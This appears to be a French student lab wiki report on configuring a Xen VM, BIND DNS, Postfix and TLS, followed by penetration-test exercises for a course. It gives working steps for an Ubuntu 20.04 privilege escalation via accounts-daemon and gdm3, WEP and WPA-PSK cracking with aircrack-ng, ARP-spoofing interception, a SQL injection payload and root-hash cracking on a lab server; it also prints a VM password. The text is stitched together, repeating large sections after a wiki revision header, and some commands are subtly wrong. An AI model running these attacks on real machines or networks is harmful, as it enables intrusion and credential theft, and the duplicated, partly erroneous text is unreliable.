
zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP ==

TP sysres IMA5sc 2020/2021 G8

2020-12-01T21:08:17Z

Jsoulaim : /* 4. Services Internet */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

Nous pouvons maintenant configurer le serveur mail de notre VM:

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

==4.3 Sécurisation de site web par certificat==

Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

